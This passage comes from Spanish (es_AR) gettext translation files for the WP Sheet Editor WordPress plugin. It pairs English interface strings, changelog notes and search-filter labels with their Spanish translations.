#~ msgstr "Habilitar la API REST" #~ msgid "" #~ "The REST API can be used for interacting with our spreadsheet from " #~ "external apps." #~ msgstr "" #~ "La API REST puede utilizarse para interactuar con nuestra hoja de cálculo " #~ "desde aplicaciones externas." #, fuzzy #~| msgid "Parent Spreadsheet:" #~ msgid "Current spreadsheet: %s" #~ msgstr "Hoja Superior:" #~ msgid "0 rows" #~ msgstr "0 filas" #~ msgid "" #~ "New extension - WooCommerce Coupons - View/edit coupons in a spreadsheet. " #~ "Advanced search, Bulk Edit hundreds of coupons, etc. Perfect for the " #~ "christmas season. View Extension)" #~ msgstr "" #~ "Nueva extensión - Cupones WooCommerce - Ver/editar cupones en una hoja de " #~ "cálculo. Búsqueda avanzada, edición masiva de cientos de cupones, etc. " #~ "Perfecto para la temporada navideña. Ver " #~ "Extensión )" #~ msgid "" #~ "New extension - EVENTS - View/edit events, venues, and organizers in a " #~ "spreadsheet. Advanced search, etc. View " #~ "Extension)" #~ msgstr "" #~ "Nueva extensión - EVENTOS - Ver/editar eventos, lugares y organizadores " #~ "en una hoja de cálculo. Búsqueda avanzada, etc. Ver Extensión )" #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields > relationship " #~ "fields. Paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Campos Personalizados " #~ "Avanzados > campos de relación. Sólo usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved tools: formulas engine. Now you can make advanced searches and " #~ "apply formulas to the search results. Paid users only. Upgrade)" #~ msgstr "" #~ "Herramientas mejoradas: motor de fórmulas. Ahora puedes hacer búsquedas " #~ "avanzadas y aplicar fórmulas a los resultados de la búsqueda. Sólo " #~ "usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved sheet: Moved settings to a dropdown to simplify the UI and added " #~ "new context menu options" #~ msgstr "" #~ "Hoja mejorada: Se ha movido la configuración a un menú desplegable para " #~ "simplificar la interfaz de usuario y se han añadido nuevas opciones de " #~ "menú contextual" #~ msgid "" #~ "Improved tools: columns visibility. Now you can delete unnecessary " #~ "columns and improved sorting and disable logic" #~ msgstr "" #~ "Herramientas mejoradas: visibilidad de columnas. Ahora puedes eliminar " #~ "columnas innecesarias y mejorar la lógica de ordenación y desactivación" #~ msgid "Fixed more than 13 bugs" #~ msgstr "Arreglados más de 13 bugs" #~ msgid "Improved 7 features" #~ msgstr "7 características mejoradas" #~ msgid "Updated 6 extensions." #~ msgstr "Actualizadas 6 extensiones." #~ msgid "View the entire changelog" #~ msgstr "" #~ "Ver el registro de cambios completo " #~ msgid "Dropdown with predefined options" #~ msgstr "Desplegable con opciones predefinidas" #~ msgid "" #~ "In this page you can select the label for every column displayed in the " #~ "spreadsheet editor. Each post type has its own set of options." #~ msgstr "" #~ "En esta página puedes seleccionar la etiqueta para cada columna mostrada " #~ "en el editor de la hoja de cálculo. Cada tipo de post tiene su propio " #~ "conjunto de opciones." #~ msgid "

                  " #~ msgstr "

                  " #~ msgid "Post type: %s" #~ msgstr "Tipo de Post: %s" #~ msgid "Label for %s?" #~ msgstr "Etiqueta para %s?" #~ msgid "Columns Labels" #~ msgstr "Etiquetas de las columnas" #~ msgid "Enter the new value." #~ msgstr "Ingresa el nuevo valor." #~ msgid "Enter the term(s) to append to the existing term(s)." #~ msgstr "" #~ "Ingresa el término(s) a agregar al final del término(s) existente(s)." #~ msgid "" #~ "For example, if you searched for posts by \"author = Mark\" using the " #~ "search tool, we will export only posts with \"author Mark\"" #~ msgstr "" #~ "Por ejemplo, si buscaste los posts por \"autor = Marcos\" usando la " #~ "herramienta de búsqueda, exportaremos sólo los posts con \"autor Marcos\"" #~ msgid "Post Types" #~ msgstr "Tipos de Post" #~ msgid "" #~ "

                  Security: Now the file upload cells are displayed only to the users " #~ "that have permissions to upload files.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora las celdas de carga de archivos se muestran sólo para " #~ "los usuarios que tienen permisos para cargar archivos.

                  " #~ msgid "" #~ "

                  Security: Now the private posts and pages are displayed only to the " #~ "users who have permissions to read and edit them.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora los posts y páginas privadas se muestran sólo a los " #~ "usuarios que tienen permisos para leerlos y editarlos.

                  " #~ msgid "" #~ "

                  Security: Now we don´t allow users to publish posts if they don´t have " #~ "permissions to publish, we save them as drafts.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora no permitimos que los usuarios publiquen posts si no " #~ "tienen permisos para publicarlos. Los guardamos como borradores.

                  " #~ msgid "

                  Other minor changes.

                  " #~ msgstr "

                  Otros cambios menores

                  " #~ msgid "" #~ "

                  New feature: Now the first column of the spreadsheet is always visible " #~ "while scrolling to the right.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora la primera columna de la hoja de cálculo " #~ "está siempre visible mientras te desplazas hacia la derecha.

                  " #~ msgid "

                  Other minor changes and fixes.

                  " #~ msgstr "

                  Otros cambios menores.

                  " #~ msgid "" #~ "

                  New feature: Now you can edit WooCommerce products in the free plugin, " #~ "but with limited columns and product types.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes editar productos WooCommerce en el " #~ "plugin gratuito, aunque con columnas y tipos de producto limitados.

                  " #~ msgid "

                  New feature: Now you can upload featured images using URLs.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes subir imágenes destacadas usando " #~ "URLs.

                  " #~ msgid "" #~ "

                  Improvement: Now the spreadsheet support hundreds of rows at once, and " #~ "saving is faster.

                  " #~ msgstr "" #~ "

                  Mejora: Ahora la hoja de cálculo soporta cientos de filas a la vez, y " #~ "el guardado es más rápido.

                  " #~ msgid "" #~ "

                  NEW - USERS - Released users extension for editing WordPress users in " #~ "spreadsheet. Check extension

                  " #~ msgstr "" #~ "

                  NUEVO - USUARIOS - Extensión de usuarios lanzada para editar usuarios " #~ "de WordPress en una hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - CORE - Added \"search\" tool. Search by keyword, author, and " #~ "post status.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se agregó la herramienta de \"búsqueda\". Buscar por " #~ "palabra clave, autor y estado del post.

                  " #~ msgid "" #~ "

                  NEW - COLUMNS RESIZING - Allow to resize columns and save for next " #~ "sessions.

                  " #~ msgstr "" #~ "

                  NUEVO - CAMBIAR EL TAMAÑO DE LAS COLUMNAS - Permite cambiar el tamaño " #~ "de las columnas y guardar para las próximas sesiones.

                  " #~ msgid "" #~ "

                  NEW - FILTERS - Added bar showing active filters with options to " #~ "remove individual filters.

                  " #~ msgstr "" #~ "

                  NUEVO - FILTROS - Se ha añadido una barra que muestra los filtros " #~ "activos con opciones para eliminar filtros individuales.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added status bar showing number of posts loaded in " #~ "spreadsheet and total posts available according to the filters.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se ha añadido una barra de estado que muestra el " #~ "número de posts cargados en la hoja de cálculo y el total de posts " #~ "disponibles según los filtros.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added settings page button in the toolbar for quick " #~ "access.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO- Botón de la página de ajustes añadido en la barra de " #~ "herramientas para un acceso rápido.

                  " #~ msgid "

                  NEW - CORE - Updated welcome page to showcase extensions.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Página de bienvenida actualizada para mostrar las " #~ "extensiones.

                  " #~ msgid "

                  CHANGE - CORE - Updated texts for improved usability.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Textos actualizados para mejorar la usabilidad.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Removed extensions teasers and replaced with a simple " #~ "text message.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Se han eliminado los teasers de las extensiones y se " #~ "han sustituido por un simple mensaje de texto.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - If the spreadsheet wasn´t modified, don´t show the " #~ "\"please save your changes\" notification when the page is closed.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Si la hoja de cálculo no fue modificada, no mostrar " #~ "la notificación \"Por favor, guarda tus cambios\" cuando la página esté " #~ "cerrada.

                  " #~ msgid "" #~ "

                  FIX - CORE - When closing file uploads or tinymce popups, the screen " #~ "doesn´t return to the original position.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Al cerrar las subidas de archivos o ventanas " #~ "emergentes de tinymce, la pantalla no vuelve a su posición original.

                  " #~ msgid "

                  FIX - CORE - Sometimes options page doesn´t load.

                  " #~ msgstr "

                  AJUSTE- NÚCLEO - A veces la página de opciones no se carga.

                  " #~ msgid "

                  FIX - CORE - Schedule posts are not showing on spreadsheet.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - Los posts del horario no se muestran en la hoja de " #~ "cálculo.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When using the same filter multiple times with " #~ "different values it starts returning wrong posts.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se utiliza el mismo filtro varias veces con " #~ "valores diferentes, comienza a devolver mensajes erróneos.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When making a lot of searches, the total posts count " #~ "changes and the infinite scroll stops working.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se hacen muchas búsquedas, el total de posts " #~ "cambia de cuenta y el desplazamiento infinito deja de funcionar.

                  " #~ msgid "" #~ "

                  FIX - CORE - it doesn´t allow to create new WooCommerce products.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - No permite crear nuevos productos WooCommerce.

                  " #~ msgid "" #~ "

                  FIX - CORE - Spreadsheet becomes too slow when loading thousands of " #~ "rows.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - La hoja de cálculo se vuelve demasiado lenta cuando " #~ "se cargan miles de filas.

                  " #~ msgid "" #~ "

                  NEW - POST TEMPLATES - Released free extension for duplicating posts " #~ "in the spreadsheet. Check extension" #~ msgstr "" #~ "

                  NUEVO - PLANTILLAS DE POST - Lanzamiento de una extensión gratuita " #~ "para la duplicación de posts en la hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - COLUMNS VISIBILITY - This premium feature is now free. You can " #~ "hide and sort columns in the spreadsheet.

                  " #~ msgstr "" #~ "

                  NUEVO - VISIBILIDAD DE LAS COLUMNAS - Esta característica premium es " #~ "ahora gratuita. Puedes ocultar y ordenar columnas en la hoja de cálculo." #~ msgid "" #~ "

                  NEW - AUTO FILL CELLS - This premium feature is now free. You can " #~ "autofill cells by dragging down a cell like you do in excel.

                  " #~ msgstr "" #~ "

                  NUEVO - AUTOLLENAR CELDAS - Esta característica premium es ahora " #~ "gratuita. Puedes rellenar automáticamente las celdas arrastrando hacia " #~ "abajo una celda como lo haces en Excel.

                  " #~ msgid "" #~ "

                  NEW - WOOCOMMERCE - Added new columns to the free version of the " #~ "plugin: SKU, Width, Length, Height, Weight, Manage stock, Stock status, " #~ "and stock quantity.

                  " #~ msgstr "" #~ "

                  NUEVO - WOOOCOMMERCE - Se han añadido nuevas columnas a la versión " #~ "gratuita del plugin: SKU, Anchura, Longitud, Altura, Peso, Gestionar " #~ "stock, Estado de stock y cantidad de stock.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved usability. We updated some texts to make it " #~ "clear what features are free and what features are premium

                  " #~ msgstr "" #~ "

                  cambio - núcleo - Mejora de la usabilidad. Hemos actualizado algunos " #~ "textos para dejar claro qué características son gratuitas y qué " #~ "características son premium

                  " #~ msgid "" #~ "

                  CHANGE - CORE - the quick setup flow was redesigned to make the setup " #~ "easier to understand.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - El flujo de configuración rápida fue rediseñado para " #~ "que la configuración sea más fácil de entender.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved translations. Now we include a .pot file.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Traducciones mejoradas. Ahora incluimos un archivo." #~ "pot.

                  " #~ msgid "" #~ "

                  FIX - CORE - Added compatibility with \"ultimate fields\" plugin.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Añadida la compatibilidad con el plugin \"ultimate " #~ "fields\".

                  " #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields +v5.0.0. " #~ "(Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Advanced Custom Fields " #~ "+v5.0.0. (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New feature - Spreadsheet formulas - Added support for regular " #~ "expressions (Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Fórmulas de hoja de cálculo - Añadido soporte para " #~ "expresiones regulares (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New extension - WooCommerce Customers Spreadsheet. View all customer " #~ "profiles, View shipping and Billing info, Advanced Searches, and more. View Extension)" #~ msgstr "" #~ "Nueva extensión - Hoja de cálculo de clientes de WooCommerce. Ver todos " #~ "los perfiles de clientes, Ver información de envío y facturación, " #~ "Búsquedas avanzadas y más. Ver Extensión " #~ ")" #~ msgid "" #~ "Updated extension - Frontend Spreadsheets. Let your users create and edit " #~ "Information like Events, Business listings, WooCommerce Products, Posts, " #~ "etc. View Extension)" #~ msgstr "" #~ "Extensión actualizada - Hojas de cálculo de Frontend. Permite a tus " #~ "usuarios crear y editar información como eventos, listados de negocios, " #~ "Productos WooCommerce, Posts, etc. Ver " #~ "Extensión )" #~ msgid "Improved tools: formulas engine" #~ msgstr "Herramientas mejoradas: motor de fórmulas" #~ msgid "Improved tools: advanced search" #~ msgstr "Herramientas mejoradas: búsqueda avanzada" #~ msgid "Fixed more than 19 bugs" #~ msgstr "Arreglados más de 19 bugs" #~ msgid "Improved 10 features" #~ msgstr "10 características mejoradas" #~ msgid "Updated 4 extensions." #~ msgstr "4 Extensiones Actualizadas." #~ msgid "Apply filters" #~ msgstr "Aplicar filtros" #~ msgid "" #~ "You will be able to switch from one columns group to another group with " #~ "one click. We will display the option in the top toolbar > columns " #~ "manager dropdown" #~ msgstr "" #~ "Podrás cambiar de un grupo de columnas a otro grupo con un solo clic. " #~ "Mostraremos la opción en la barra de herramientas superior > desplegable " #~ "del gestor de columnas" #~ msgid "Edit thousands of rows at once in seconds" #~ msgstr "Edita miles de filas a la vez en segundos" #~ msgid "" #~ "Delete all the items containing duplicate values in the column, we only " #~ "leave one item per unique value. Read more" #~ msgstr "" #~ "Borrar todos los ítems que contienen valores duplicados en la columna, " #~ "sólo dejamos un ítem por cada valor único. Leer más" #~ msgid "Copy from multiple columns" #~ msgstr "Copiar desde varias columnas" #~ msgid "" #~ "Example: 'Articles written by $post_author$ on $post_date$' = 'Articles " #~ "written by Adam on 24-12-2017'.
                  Another example: '$category$-" #~ "$_regular_price$ EUR' would be 'Videos - 25 EUR'" #~ msgstr "" #~ "Ejemplo: 'Artículos escritos por $post_author$ en $post_date$' = " #~ "'Artículos escritos por Adam el 24-12-2017'.
                  Otro ejemplo: " #~ "'$category$-$_regular_price$ EUR' sería `Videos - 25 EUR´'." #~ msgid "The variations are for these products:" #~ msgstr "Las variaciones son para estos productos:" #~ msgid "Hide cell comments?" #~ msgstr "¿Ocultar los comentarios de las celdas?" #~ msgid "" #~ "For example, to get all products with price higher than 100, use: " #~ "_regular_price > 100" #~ msgstr "" #~ "Por ejemplo, para encontrar todos los productos con precio mayor a 100, " #~ "usa: _regular_price > 100" #~ msgid "" #~ "- The sheet has a limit of %d columns for performance reasons. You " #~ "reached the limit. You need to delete columns in the list above (Move " #~ "them to the \"disabled\" list and click the X button on each column), " #~ "reload the page, and new columns will appear automatically - or - you can " #~ "increase the columns limit." #~ msgstr "" #~ "- La hoja tiene un límite de %d de columnas por razones de rendimiento. " #~ "Has llegado al límite. Necesitas eliminar las columnas de la lista " #~ "anterior (Muévelas a la lista \"desactivada\" y haz clic en el botón X de " #~ "cada columna), vuelve a cargar la página, y aparecerán nuevas columnas " #~ "automáticamente - o - puedes aumentar el " #~ "límite de las columnas ." #~ msgid "" #~ "Make advanced searches and show only the matching rows in the " #~ "spreadsheet. You can search by multiple conditions at once." #~ msgstr "" #~ "Haz búsquedas avanzadas y muestra sólo las filas coincidentes en la hoja " #~ "de cálculo. Puedes buscar por múltiples condiciones a la vez." #~ msgid "" #~ "This feature allows you to filter the items in the spreadsheet to display " #~ "only the items you want to edit." #~ msgstr "" #~ "Esta función te permite filtrar los elementos de la hoja de cálculo para " #~ "mostrar sólo los elementos que quieres editar." #~ msgid "Update existing value with the result of a math operation." #~ msgstr "" #~ "Actualizar el valor existente con el resultado de una operación " #~ "matemática." #~ msgid "Decrease the existing value by a percentage." #~ msgstr "Disminuir el valor existente en un porcentaje." #~ msgid "Decrease the existing value by a number." #~ msgstr "Disminuir el valor existente en un número." #~ msgid "Increase the existing value by a percentage." #~ msgstr "Incrementar el valor existente en un porcentaje." #~ msgid "Increase the existing value by a number." #~ msgstr "Incrementar el valor existente en un número." #~ msgid "" #~ "Invalid #8W89WW. The search and replace text must not be empty. At least " #~ "one of them must have a value" #~ msgstr "" #~ "Inválido #8W89WWW. El texto de búsqueda y reemplazo no debe estar vacío. " #~ "Al menos uno de ellos debe tener un valor" #~ msgid "

                  Complete. You can close this popup

                  ." #~ msgstr "

                  Completo. Puedes cerrar esta ventana emergente

                  ." #~ msgid "%d of %d items have been processed. %d items have been updated." #~ msgstr "%d de %d artículos han sido procesados. %d han sido actualizados." #~ msgid "I will edit this file with Microsoft Excel." #~ msgstr "Editaré este archivo con Microsoft Excel." #~ msgid "" #~ "Sometimes Excel shows all the values in a single cell and it does not " #~ "recognize the comma as separator. This fixes that problem" #~ msgstr "" #~ "A veces Excel muestra todos los valores en una sola celda y no reconoce " #~ "la coma como separador. Esto arregla el problema" #~ msgid "" #~ "We find items that have the same value in the CSV Field and the WP Field." #~ "
                  For example, users with the same email address in the CSV and WP." #~ "
                  We can search in 2 fields. Example: products with same SKU and Title," #~ "
                  or users with same email address and username." #~ msgstr "" #~ "Encontramos elementos que tienen el mismo valor en el campo CSV y en el " #~ "campo WP.
                  Por ejemplo, los usuarios con la misma dirección de correo " #~ "electrónico en el CSV y WP.
                  Podemos buscar en 2 campos. Ejemplo: " #~ "productos con el mismo SKU y título,
                  o usuarios con la misma " #~ "dirección de correo electrónico y nombre de usuario." #~ msgid "Field 1: CSV Field" #~ msgstr "Campo 1: Campo CSV" #~ msgid "Field 1: WordPress Field" #~ msgstr "Campo 1: Campo de WordPress" #~ msgid "Share" #~ msgstr "Compartir" #~ msgid "" #~ "

                  Missing column?

                  1. Try to add it automatically. Click here
                  2. You reached the " #~ "columns limit? Fix it
                  3. Maybe " #~ "the column is hidden.
                  4. We can " #~ "help you Contact us
                  " #~ msgstr "" #~ "

                  ¿Falta una columna?

                  1. Intenta añadirla automáticamente. Haz clic aquí
                  2. ¿Has llegado al " #~ "límite de las columnas? Corregir
                  3. >Tal vez la columna esté oculta.
                  4. Podemos ayudarte Contáctanos
                  " #~ msgid "(Go premium)" #~ msgstr "(Pasate a Premium)" #~ msgid "How many posts do you want to display on the spreadsheet?" #~ msgstr "¿Cuántos posts quieres mostrar en la hoja de cálculo?" #~ msgid "Advanced" #~ msgstr "Avanzado" #~ msgid "" #~ "When you have 1000 posts , you might want to open the spreadsheet and " #~ "start editing from post 200. This option lets you open the spreadsheet " #~ "and start from a specific post index instead of starting from the " #~ "beginning." #~ msgstr "" #~ "Cuando tengas 1000 posts, es posible que quieras abrir la hoja de cálculo " #~ "y empezar a editar desde el post 200. Esta opción te permite abrir la " #~ "hoja de cálculo y empezar desde un índice de post específico en lugar de " #~ "empezar desde el principio." #~ msgid "Scheduled" #~ msgstr "Programado" #~ msgid "You can deactivate this forever on the settings page" #~ msgstr "Puedes desactivarlo para siempre en la página de configuración" #~ msgid "Available post types" #~ msgstr "Tipos de post disponibles" #~ msgid "Custom Spreadsheets for Your Users or Employees" #~ msgstr "Hojas de cálculo personalizadas para tus usuarios o empleados" modules/wp-sheet-editor/lang/vg_sheet_editor-es_AR.po000064400001165603147600365160016702 0ustar00msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2023-07-12T19:16:48+00:00\n" "PO-Revision-Date: 2023-07-19 13:16-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_AR\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: Poedit 3.3.1\n" #: acf/acf.php:84 msgid "ACF: Show checkboxes as multi select dropdowns?" msgstr "" "ACF: ¿Mostrar las casillas de verificación como desplegados de selección " "múltiple?" #: acf/acf.php:85 msgid "" "By default, we show every checkbox as a separate column, but if you have " "checkboxes with many options you might want to use one column with a " "dropdown instead." msgstr "" "Por defecto, mostramos cada casilla de verificación como una columna " "separada, pero si tienes casillas de verificación con muchas opciones es " "posible que desees utilizar una columna con un desplegable en su lugar." #: acf/acf.php:377 msgid "" "You need to configure your Google Maps API key to save the Google Maps " "columns. This is required by Advanced Custom Fields, you can follow this tutorial" msgstr "" "Tienes que configurar la API key de Google Maps para poder guardar valores " "en las columnas de mapas de Advanced Custom Fields. Esto es requerido por " "Advanced Custom Fields, puedes seguir este tutorial" #: acf/acf.php:915 msgid "Enter a title" msgstr "Ingresa un título" #: acf/acf.php:1144 msgid "Row" msgstr "Fila" #: advanced-filters/advanced-filters.php:48 #: advanced-filters/advanced-filters.php:70 #: columns-manager/inc/column-groups.php:281 #: columns-resizing/columns-resizing.php:59 #: columns-visibility/columns-visibility.php:213 formulas/formulas.php:590 #: spreadsheet-setup/spreadsheet-setup.php:283 #: universal-sheet/universal-sheet.php:144 woocommerce/inc/attributes.php:799 #: woocommerce/inc/attributes.php:1019 woocommerce/inc/downloadable.php:368 #: woocommerce/inc/downloadable.php:387 woocommerce/inc/variations.php:1618 #: woocommerce/inc/variations.php:1637 #: wp-sheet-editor/dev/inc/api/editor.php:161 #: wp-sheet-editor/dev/wp-sheet-editor.php:1162 #: wp-sheet-editor/dev/wp-sheet-editor.php:1176 #: wp-sheet-editor/dev/wp-sheet-editor.php:1187 msgid "You dont have enough permissions to view this page." msgstr "No tienes suficientes permisos para ver esta página." #: advanced-filters/advanced-filters.php:132 msgid "Save this search" msgstr "Guardar esta búsqueda" #: advanced-filters/advanced-filters.php:133 msgid "Enter a name..." msgstr "Ingresa un nombre..." #: advanced-filters/advanced-filters.php:441 #: woocommerce/inc/import-export.php:96 msgid "Parent" msgstr "Padre" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter %s" msgstr "Ingresa %s" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter the names of " msgstr "Ingresa los nombres de " #: advanced-filters/advanced-filters.php:638 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:40 msgid "Category name..." msgstr "Nombre de la categoría..." #: advanced-filters/advanced-filters.php:650 #: advanced-filters/advanced-filters.php:707 #: advanced-filters/advanced-filters.php:762 filters/filters.php:540 msgid "Select..." msgstr "Seleccionar..." #: advanced-filters/advanced-filters.php:705 msgid "Field" msgstr "Campo" #: advanced-filters/advanced-filters.php:714 msgid "Last edit" msgstr "Última modificación" #: advanced-filters/advanced-filters.php:715 msgid "Old slug" msgstr "Slug antiguo" #: advanced-filters/advanced-filters.php:716 filters/filters.php:508 #: wp-sheet-editor/dev/inc/api/bootstrap.php:662 msgid "Author" msgstr "Autor" #: advanced-filters/advanced-filters.php:717 msgid "Date (GMT)" msgstr "Fecha (GMT)" #: advanced-filters/advanced-filters.php:718 msgid "Modified Date (GMT)" msgstr "Fecha de Modificación (GMT)" #: advanced-filters/advanced-filters.php:719 #: wp-sheet-editor/dev/inc/api/bootstrap.php:725 msgid "Comments" msgstr "Comentarios" #: advanced-filters/advanced-filters.php:720 msgid "Ping status" msgstr "Estado del ping" #: advanced-filters/advanced-filters.php:721 #: wp-sheet-editor/dev/inc/api/bootstrap.php:501 msgid "URL Slug" msgstr "URL Slug" #: advanced-filters/advanced-filters.php:722 #: wp-sheet-editor/dev/inc/api/bootstrap.php:759 msgid "Page Parent" msgstr "Página Padre" #: advanced-filters/advanced-filters.php:723 msgid "Mime type" msgstr "Tipo de MIME" #: advanced-filters/advanced-filters.php:724 msgid "Comment count" msgstr "Recuento de comentarios" #: advanced-filters/advanced-filters.php:725 msgid "EDD Variable Prices" msgstr "Precio variable EDD" #: advanced-filters/advanced-filters.php:726 msgid "EDD Download Files" msgstr "Archivos de descarga EDD" #: advanced-filters/advanced-filters.php:757 msgid "A field is missing? Click here" msgstr "¿Faltan campos? Haz clic aquí" #: advanced-filters/advanced-filters.php:761 msgid "Operator" msgstr "Operador" #: advanced-filters/advanced-filters.php:767 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/variations.php:507 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:947 msgid "Value" msgstr "Valor" #: advanced-filters/advanced-filters.php:772 #: advanced-filters/advanced-filters.php:798 #: wp-sheet-editor/dev/inc/api/bootstrap.php:276 msgid "Add new" msgstr "Añadir nuevo" #: advanced-filters/advanced-filters.php:775 msgid "X" msgstr "X" #: advanced-filters/advanced-filters.php:785 msgid "Enable advanced filters" msgstr "Habilitar filtros avanzados" #: advanced-filters/advanced-filters.php:788 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Advanced search" msgstr "Búsqueda avanzada" #: advanced-filters/advanced-filters.php:790 msgid "" "You can search by any field using operators. I.e. price > 100, image != " "(empty)" msgstr "" "Puedes buscar por cualquier campo usando operadores. Por ejemplo: precio > " "100, imagen != (vacío)" #: advanced-filters/advanced-filters.php:807 msgid "NOT Contains this keyword" msgstr "No Contiene esta palabra clave" #: advanced-filters/advanced-filters.php:807 msgid "" "Enter a keyword to exclude posts, separate multiple keywords with a " "semicolon (;)" msgstr "" "Ingresa una palabra clave para excluir filas. Separa múltiples palabras " "claves con un punto y coma (;)" #: advanced-filters/advanced-filters.php:811 msgid "Find these IDs:" msgstr "Encontrar estos IDs:" #: advanced-filters/advanced-filters.php:811 msgid "" "Enter IDs separated by commas, spaces, new lines, or tabs. You can use ID " "ranges like 20-50 as a shortcut." msgstr "" "Ingresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. " "Puedes agregar rangos como 20-50 como un acceso directo." #: advanced-filters/advanced-filters.php:816 msgid "Find these URLs:" msgstr "Encontrar estas URLs:" #: advanced-filters/advanced-filters.php:816 msgid "Enter one URL per line" msgstr "Ingresa una URL por línea" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Date range from" msgstr "Fecha Inicial" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Show items published between these dates" msgstr "Mostrar elementos publicados entre estas fechas" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "to" msgstr "Fecha final" #: advanced-filters/advanced-filters.php:839 msgid "Any of these values (Enter multiple values separated by ;)" msgstr "" "Cualquiera de estos valores (Ingresa múltiples valores separados por ;)" #: advanced-filters/advanced-filters.php:840 msgid "CONTAINS" msgstr "CONTIENE" #: advanced-filters/advanced-filters.php:841 msgid "NOT CONTAINS" msgstr "NO CONTIENE" #: advanced-filters/advanced-filters.php:842 msgid "STARTS WITH" msgstr "INICIA CON" #: advanced-filters/advanced-filters.php:843 msgid "ENDS WITH" msgstr "TERMINA CON" #: advanced-filters/advanced-filters.php:844 msgid "CHARACTER LENGTH <" msgstr "CANTIDAD DE CARACTERES <" #: advanced-filters/advanced-filters.php:845 msgid "CHARACTER LENGTH >" msgstr "CANTIDAD DE CARACTERES >" #: advanced-filters/advanced-filters.php:846 msgid "REGEXP" msgstr "REGEXP" #: advanced-filters/advanced-filters.php:847 msgid "In the last x hours" msgstr "En las últimas X horas" #: advanced-filters/advanced-filters.php:848 msgid "In the last x days" msgstr "En los últimos X días" #: advanced-filters/advanced-filters.php:849 msgid "In the last x weeks" msgstr "En las últimas X semanas" #: advanced-filters/advanced-filters.php:850 msgid "In the last x years" msgstr "En los últimos X años" #: columns-manager/columns-manager.php:70 wp-sheet-editor/dev/inc/ajax.php:19 #: wp-sheet-editor/dev/inc/ajax.php:45 msgid "You dont have enough permissions to do this action." msgstr "No tienes suficientes permisos para realizar esta acción." #: columns-manager/columns-manager.php:103 msgid "Please select the background color" msgstr "Por favor, selecciona un color de fondo" #: columns-manager/columns-manager.php:105 formulas/inc/ui.php:622 msgid "Clear value" msgstr "Borrar valor" #: columns-manager/columns-manager.php:107 #: custom-columns/views/settings-page.php:149 #: wp-sheet-editor/dev/inc/api/bootstrap.php:265 #: wp-sheet-editor/dev/views/post-types-form.php:31 #: wp-sheet-editor/dev/views/settings-form.php:120 msgid "Save" msgstr "Guardar" #: columns-manager/columns-manager.php:108 formulas/inc/ui.php:132 #: posts-templates/posts-templates.php:106 #: universal-sheet/views/export-modal.php:14 #: universal-sheet/views/export-modal.php:84 #: universal-sheet/views/import-modal.php:15 #: wp-sheet-editor/dev/views/editor-page.php:265 msgid "Cancel" msgstr "Cancelar" #: columns-manager/columns-manager.php:259 msgid "" " Some columns have the button to change the " "formatting" msgstr "" " Algunas columnas tienen el botón para cambiar " "el formato" #: columns-manager/columns-manager.php:273 columns-visibility/views/form.php:9 msgid "Columns manager" msgstr "Gestor de columnas" #: 